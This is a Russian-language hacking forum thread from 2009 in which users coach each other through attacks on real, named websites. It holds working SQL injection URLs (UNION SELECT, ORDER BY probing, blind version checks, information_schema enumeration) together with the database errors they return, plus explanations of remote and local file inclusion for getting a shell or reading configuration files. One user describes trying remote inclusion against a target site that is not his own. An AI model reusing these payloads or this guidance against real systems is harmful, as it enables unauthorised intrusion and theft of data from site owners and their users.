include("http://www.site.ru/?q=".$_GET['q'].".php");
}
?>
Этот код сохранить как php скрипт и запустить? и что узнаю? (т.е. что он делает)?

Я вот хотел узнать к чему можно "подцепиться" :)) чтоб дальше узнать что делать.

Нет так сказать "универсальные" трюки для уловки SQL инекци ?

mailbrush
09.11.2009, 19:25
sorry за оффтоп, кто короче? :)
http://wmkopilka.ru/coinbox.php?5'*version()/'5
Умно:) 5*5/5 :)

l1ght
09.11.2009, 19:35
Умно:) 5*5/5 :)
/add аа блин, первый вариант тоже правильный), напрасная параноя с 6/5
все таки лучше так
http://wmkopilka.ru/coinbox.php?5240'+version()-'5 = http://wmkopilka.ru/coinbox.php?5240

Ins3t
09.11.2009, 19:38
Этот код сохранить как php скрипт и запустить? и что узнаю? (т.е. что он делает)?

Я вот хотел узнать к чему можно "подцепиться" :)) чтоб дальше узнать что делать.

Нет так сказать "универсальные" трюки для уловки SQL инекци ?

Какой SQL inj ?
Здесь базой данных то и не пахнет.
У тебя есть инклайд.


<?php
if (isset($_GET['q'])){
include($_GET['q'].".php");
}
?>


ты получишь RFI (Remote File Include):

site.com/script.php?q=http://site.net/file

рузумееться при сообтетствующей конфигурации WEB сервера.

А именно - для RFI должен быть включен allow_url_include в php.ini

Так же можно юзать как и лфи.

Советую почитать статью задохлика:
http://forum.antichat.ru/thread23501.html

jecka3000
09.11.2009, 22:15
на днях первый раз в жизни столкнулся со следующим адресом:
www.site.com/default.php?show=100+and+ascii(lower(substring(ver sion(),1,1)))=51
Можете объяснить или дать что либо почитать, что, в какой версии и вообще где применяется ......+and+ascii(lower(substring(version(),1,1)))= 51

Ins3t
09.11.2009, 22:19
Кури Blind SQL inj

http://forum.antichat.ru/thread19844.html
Затем прочти пару статей от електа на тему реализации more1row инъецкий.
Так же говорять что Qwazar очень хорошо описал какую то новую технотогию, точно не скажу, сам еще не читал эту статью.

YuNi|[c
09.11.2009, 22:42
можеть кто знает в Jet database error

на запрос:
=-1+order+by+5%00
выдает:

Microsoft JET Database Engine error '80040e14'
The Microsoft Jet database engine does not recognize '6' as a valid field name or expression.
а на:

=-1+order+by+4%00

страница открывается, но на нем тоже
Latest News


Microsoft JET Database Engine error '80040e14'
The Microsoft Jet database engine does not recognize '4' as a valid field name or expression.
/intranet/inx/ecom_engine.asp, line 2462

на запрос:
=-1+union+select+1,2,3,4%00
Microsoft JET Database Engine error '80004005'

Query input must contain at least one table or query.

/intranet/inx/ecom_engine.asp, line 2462

как обойти? Правда ни одного названия таблиц не знаю.
Может есть новые статьи по Jet database

Jokester
09.11.2009, 23:06
Это Access. Статья:
http://forum.antichat.ru/thread50550.html

B1t.exe
10.11.2009, 00:02
Кстати, читаю про PHP inject (include), мне даже очень интересно кажется :)) спасибо за направление !
Кстати, хотел узнать тенденцию этого уязвимости.. т.е. актино приниается, или редко встречается ? (по сравнение SQL инекции)

[x60]unu
10.11.2009, 00:06
на 1 из предложенных багов месте по распространенности идет sql injection
а потом и PHP injection
вообще пхп иньекцию можно встретить часто)))

B1t.exe
10.11.2009, 00:28
[x60]unu

это хорошо )) думаю php inject легче изучать, чем sql ))
а еще такой ламерсий вопрос:
- какие данные можно получить?

Ins3t
10.11.2009, 00:40
Через LFI можно инклудить логи, сессии, конфиги.
С RFI думаю все ясно.

ILYAtirtir
10.11.2009, 00:41
В зависимости от ситуации в идеале можно получить шелл инклудом или выполнить любой код на системе.

B1t.exe
10.11.2009, 01:11
на сколько понял - о сливи БД тут речь не может идти.. это уже SQL инекцями, да?
про LFI/RFI-уязвимости читал ЗДЕСЬ (http://raz0r.name/vulnerabilities/lfirfi-uyazvimosti-v-wap-motor-175/) , но не очень понятно был что, зачем и как.. попробую еще искать ...
спасибо за помощь.

YuNi|[c
10.11.2009, 01:48
Это Access. Статья:
http://forum.antichat.ru/thread50550.html
спс но я это много раз прочитал, я имел ввиду новые обходы по этому обстоятельству

Jokester
10.11.2009, 01:51
B1t.exe
Давай ты всётаки не будешь засорять эту тему. Вот же твоя тема, она открыта:

https://forum.antichat.ru/threadedpost1665798.html#post1665798

тут рассматриваем конкретные уязвимости, сложности с ними, и т.д. Для твоих вопросов(и аналогичных) специально оставил ту тему

YuNi|[c
Обходы чего? Если ты читал статью, то должен был увидеть, что выборка в Access ОБЯЗАТЕЛЬНО должна быть из существующей таблицы. Ты это хочешь обойти что-ли? Или ты хочешь что-бы мы писали тебе варианты таблиц, а ты проверял? Линка-то нет.

Сформулируй вопрос яснее

warlok
10.11.2009, 01:59
чем можно править гет запрос налету?

YuNi|[c
10.11.2009, 02:02
B1t.exe
Давай ты всётаки не будешь засорять эту тему. Вот же твоя тема, она открыта:

https://forum.antichat.ru/threadedpost1665798.html#post1665798

тут рассматриваем конкретные уязвимости, сложности с ними, и т.д. Для твоих вопросов(и аналогичных) специально оставил ту тему

YuNi|[c
Обходы чего? Если ты читал статью, то должен был увидеть, что выборка в Access ОБЯЗАТЕЛЬНО должна быть из существующей таблицы. Ты это хочешь обойти что-ли? Или ты хочешь что-бы мы писали тебе варианты таблиц, а ты проверял? Линка-то нет.

Сформулируй вопрос яснее
да нет я просто спросил возможно ли другие варианты обхода без знания таблиц, а то за..лся с этим скулем

ILYAtirtir
10.11.2009, 02:17
если нету доступа к msysobjects,а так обычно и бывает,то только подбирать наугад таблицы.Можно ещё попробывать как здесь http://forum.antichat.ru/showpost.php?p=523825&postcount=36

LzD
10.11.2009, 02:32
чем можно править гет запрос налету?
что значит налету? если огнелисом пользуешься то есть соответсвующий плугин. (модификация http заголовков)

[Forest]
10.11.2009, 02:35
на сколько понял - о сливи БД тут речь не может идти.. это уже SQL инекцями, да?
про LFI/RFI-уязвимости читал ЗДЕСЬ (http://raz0r.name/vulnerabilities/lfirfi-uyazvimosti-v-wap-motor-175/) , но не очень понятно был что, зачем и как.. попробую еще искать ...
спасибо за помощь.

на ачате есть куча статей по LFI/RFI-уязвимостям
ты сначала с одним расберись (sql-ing), потом уже изучай что-то другое

warlok
10.11.2009, 02:37
что значит налету? если огнелисом пользуешься то есть соответсвующий плугин. (модификация http заголовков)
т.е. например есть флешка она отсылает гет запрос примерно такого вида http://localhost/gate.php?test=asdfg так вот в тот момент как она его отсылает мне надо поправить значение test. Пробывал тампер дату но как оказалось она такое неумеет, а ты про какой плагин говорил?

[Forest]
10.11.2009, 02:39
т.е. например есть флешка она отсылает гет запрос примерно такого вида http://localhost/gate.php?test=asdfg так вот в тот момент как она его отсылает мне надо поправить значение test. Пробывал тампер дату но как оказалось она такое неумеет, а ты про какой плагин говорил?

плагин для фф - Charles

YuNi|[c
10.11.2009, 07:53
не могу раскрутит дальше
http://wallstreetcorner.com:80/ss2.html?Symbol='

можеть кто поможеть?

выдает:


An error occurred processing your request
Merging data into macro form: e:\cyberspace\wallstreetcorner\ss2.html
WebBase ODBC error in: {sql to Special source 'clients' user 'admin'}
**ODBC/driver/database error in sql statement:
{sql to Special source 'clients' user 'admin'}
SELECT * FROM Situations WHERE Symbol = ''' ORDER BY ID
{/sql}

Using cached connection:: 'clients'/'admin'/' ' ('Microsoft Access Driver (*.mdb)' SYN 3804 11/09/09 21:16:35 EST 11/09/09 22:49:17 EST +1:32:42 0)

ODBC API call: 'statement executeDirect:' returned the following error message: '
{execDirect}[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'Symbol = ''' ORDER BY ID'. (sqlState: 37000)
SELECT * FROM Situations WHERE Symbol = ''' ORDER BY ID

WebBase ODBC (EwXx08.120@Windows 2000 5.0) **

In file: e:\cyberspace\wallstreetcorner\ss2.html
inserted by: e:\cyberspace\wallstreetcorner\disclaimer.html ;; near line number 6

;; following starts near line number 7 in your source form...
...
{set Iaccept 'YES'}
{setUser userIaccept Iaccept}

{sql to Special source 'clients' user 'admin'}
SELECT * FROM Situations WHERE Symbol = '{Symbol}'
ORDER BY ID
{/sql}

{forRow aRow on Special max 1}

...
**

Krist_ALL
10.11.2009, 12:42
MSSQL вроде, но что за дурацкая реакция на ошибку???
Кто знает?
не всегда же так.обчно просто строчка...ошибка там та и все.

Что имеем?
Тип БД - MSSQL
Раскрытие путей - e:\cyberspace\wallstreetcorner\disclaimer.html
запрос к бд - SELECT * FROM Situations WHERE Symbol = '11111111111'' ORDER BY ID
при Symbol=11111111111'

+ EwXx08.120@Windows 2000 5.0)

смотри как инекции проводить в mssql


гыгы сайт то не пашет http://wallstreetcorner.com/ss2.htm

и даже при http://wallstreetcorner.com/ss2.html?Symbol=1 ошибка)

Pashkela
10.11.2009, 12:45
смотри как инекции проводить в mssql

Microsoft Access Driver

Ins3t
10.11.2009, 12:46
MSSQL вроде, но что за дурацкая реакция на ошибку???
Кто знает?
не всегда же так.обчно просто строчка...ошибка там та и все.

Что имеем?
Тип БД - MSSQL
Раскрытие путей - e:\cyberspace\wallstreetcorner\disclaimer.html
запрос к бд - SELECT * FROM Situations WHERE Symbol = '11111111111'' ORDER BY ID
при Symbol=11111111111'

смотри как инекции проводить в mssql

Какой mssql??


ODBC API call: 'statement executeDirect:' returned the following error message: '
{execDirect}[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'Symbol = ''' ORDER BY ID'. (sqlState: 37000)
SELECT * FROM Situations WHERE Symbol = ''' ORDER BY ID


При чем здесь MSSQL ?

wolmer
10.11.2009, 12:48
т.е. актино приниается, или редко встречается ? (по сравнение SQL инекции)
Зайди в тему "Энциклопедия уязвимых скриптов" да и посмотри
(имхо sql-inj чаще встречается)

на сколько понял - о сливи БД тут речь не может идти.. это уже SQL инекцями, да?
Почему это?

1. Сливаешь конфиг файл для подкл. к БД, смотришь пароль, пробуешь зайти под админом и под паролем который был в конфиге к примеру на форум, если захошел то заливаешь шелл и потом сливаешь БД через шелл

2. Если сервис sql доступен из интернета то просто подкл. к нему с помощью какой либо утилиты (я для этого юзаю NetCat)

про LFI/RFI-уязвимости читал ЗДЕСЬ , но не очень понятно был что, зачем и как.. попробую еще искать ...
Ну ты думаешь своей головою? Тебе надо искать мануалы по lfi/rfi а не уязвимости в движках (я понимаю что хочется понять вот так сразу но надо с мануалов начинать)

Krist_ALL
10.11.2009, 12:48
перепутал))

суть в том что сайт сам не пашет.

YuNi|[c
10.11.2009, 15:52
MSSQL вроде, но что за дурацкая реакция на ошибку???
Кто знает?
не всегда же так.обчно просто строчка...ошибка там та и все.

Что имеем?
Тип БД - MSSQL
Раскрытие путей - e:\cyberspace\wallstreetcorner\disclaimer.html
запрос к бд - SELECT * FROM Situations WHERE Symbol = '11111111111'' ORDER BY ID
при Symbol=11111111111'

+ EwXx08.120@Windows 2000 5.0)

смотри как инекции проводить в mssql


гыгы сайт то не пашет http://wallstreetcorner.com/ss2.htm

и даже при http://wallstreetcorner.com/ss2.html?Symbol=1 ошибка)

я уже пробовал стандартные методы инъекций

http://wallstreetcorner.com/disclaimer.html?Symbol=' пашет

l1ght
10.11.2009, 16:19
http://wallstreetcorner.com/disclaimer.html?Symbol='+order+by+45,46,47,48,49,5 0+union+select+1+from+Situations+where+'1
& use https://forum.antichat.ru/thread50550.html
/add краткость сестра таланта:
http://wallstreetcorner.com/disclaimer.html?Symbol='order+by+47%00

2Fed123
10.11.2009, 18:57
http://www.site.com/ShopList.asp?Cat=-34+union+select+1,2,3,4,5,6,table_name,8+from+info rmation_schema.tables--
Получил таблицу MyAccessLog БД MS SQL,в мускуле используется лимит,а сдесь как сделать чтобы получить имена остальных таблиц?Пробовал как в статьях 1 or 1=@@version-- и тд,запросы такие неработают.

ElteRUS
10.11.2009, 19:32
2Fed123,

cat=-1+union+select+top+1+1,2,3,4,5,6,table_name,8+from +information_schema.tables+where+table_name+not+in +(select+top+1+table_name+from+information_schema. tables)--

Хм ну как-то так вроде, поэкспериментируй

ILYAtirtir
10.11.2009, 19:44
where table_name NOT IN ('table_name1')

YuNi|[c
10.11.2009, 19:48
http://wallstreetcorner.com/disclaimer.html?Symbol='+order+by+45,46,47,48,49,5 0+union+select+1+from+Situations+where+'1
& use https://forum.antichat.ru/thread50550.html
/add краткость сестра таланта:
http://wallstreetcorner.com/disclaimer.html?Symbol='order+by+47%00
спс |1ght я уже много раз прочитал ту статью. Твой линк помоему ничего не изменил вроде. Неужели от явного скуля нельзя что то делать?

[aywo]
10.11.2009, 20:13
спс |1ght я уже много раз прочитал ту статью. Твой линк помоему ничего не изменил вроде. Неужели от явного скуля нельзя что то делать?


http://wallstreetcorner.com/disclaimer.html?Symbol=TCRV%27+union+select+1,2,3, 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 ,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,3 9,40,41,42,43,44,45,46+from+Situations%00

2Fed123
10.11.2009, 20:27
2Fed123,

cat=-1+union+select+top+1+1,2,3,4,5,6,table_name,8+from +information_schema.tables+where+table_name+not+in +(select+top+1+table_name+from+information_schema. tables)--

Хм ну как-то так вроде, поэкспериментируй
Спасибо,все получилось.Теперь пролема с колонками :D
При запросе -34+union+select+top+1+1,2,3,4,5,6,column_name,8+FR OM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=MyU sers+AND+COLUMN_NAME+NOT+IN+(SELECT+TOP+1+COLUMN_N AME+FROM+INFORMATION_ SCHEMA.COLUMNS+WHERE+TABLE_NAME=MyUsers)
страница нормально отображается,но ничего невыводит.И если несложно объясни как и зачем все пишется

[aywo]
10.11.2009, 21:01
Спасибо,все получилось.Теперь пролема с колонками :D
При запросе -34+union+select+top+1+1,2,3,4,5,6,column_name,8+FR OM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=MyU sers+AND+COLUMN_NAME+NOT+IN+(SELECT+TOP+1+COLUMN_N AME+FROM+INFORMATION_ SCHEMA.COLUMNS+WHERE+TABLE_NAME=MyUsers)
страница нормально отображается,но ничего невыводит.И если несложно объясни как и зачем все пишется
-34+UNION+SELECT+1,2,3,4,5,6, COLUMN_NAME,8+FROM INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=’MyU sers’ +LIMIT+1,1--
почитать можно тут:
https://forum.antichat.ru/thread43966.html

YuNi|[c
10.11.2009, 21:04
']http://wallstreetcorner.com/disclaimer.html?Symbol=TCRV%27+union+select+1,2,3, 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 ,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,3 9,40,41,42,43,44,45,46+from+Situations%00

правильнее этот запрос:

http://wallstreetcorner.com/disclaimer.html?Symbol='+union+select+1,2,3,4,5,6, 7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 ,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,4 1,42,43,44,45,46+from+Situations+where+1%00

выдает открывает страницу норм, но там нету ни одного visible поля (((

[aywo]
10.11.2009, 21:11
правильнее этот запрос:

http://wallstreetcorner.com/disclaimer.html?Symbol='+union+select+1,2,3,4,5,6, 7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 ,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,4 1,42,43,44,45,46+from+Situations+where+1%00

выдает открывает страницу норм, но там нету ни одного visible поля (((
чем он правильнее???


скуля не принтабельна, поэтому и не выводится ниодного поля

ILYAtirtir
10.11.2009, 21:23
http://wallstreetcorner.com/ss2.html?Symbol=%'%20union%20select%201,2,3,4,5,6, 7,8,'Privetttt',10,11,12,13,14,15,16,17,18,19,20,2 1,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37, 38,39,40,41,42,43,44,45,46%20from%20Situations%00
Только понта с этого нету.
Выводится в адресную строку браузера 9 поле где привет написано)

B1t.exe
11.11.2009, 00:11
наконец себе делал хост и пытаюсь поэкспереминтировать PHP инекции.
у меня сайт такой:
www.mysite.ru
цель: www.123.ru

на мой сайт залил скрипт:
<?
..
Include ("$page.php");

?>
открываю сайт жертвы, захожу в любой раздел и получаю такой адрес:
http://www.123.ru/index.php?action=page&id=149

мой код на сервере под названием ххх.php.

я переделываю ссылку так:
http://www.123.ru/index.php?action=http://mysite.ru/xxx.php
- открывается главная страница.
делаю так:
http://www.123.ru/index.php?action=page&id=http://mysite.ru/xxx.php
пишет:
Запрашиваемая вами страница не найдена.

Я ошибку делаю, или просто на сайте фильтровывается ?

P.S. читал здесь:
http://forum.antichat.ru/thread12123-lfi.html

Aртем
11.11.2009, 00:24
что то ты путаешь, с чего ты взял что переменная id на сайте www.123.ru вообще что-то инклюдит, тем более что-то удаленное?

DimOnOID
11.11.2009, 00:27
Да и инклудить надо не php скрипты на удалённом сервере...а txt например.

B1t.exe
11.11.2009, 00:37
ммм, ребята, читая ЭТУ (http://forum.antichat.ru/thread12123.html) статью - так получается...
можете сказать как делать тогда ?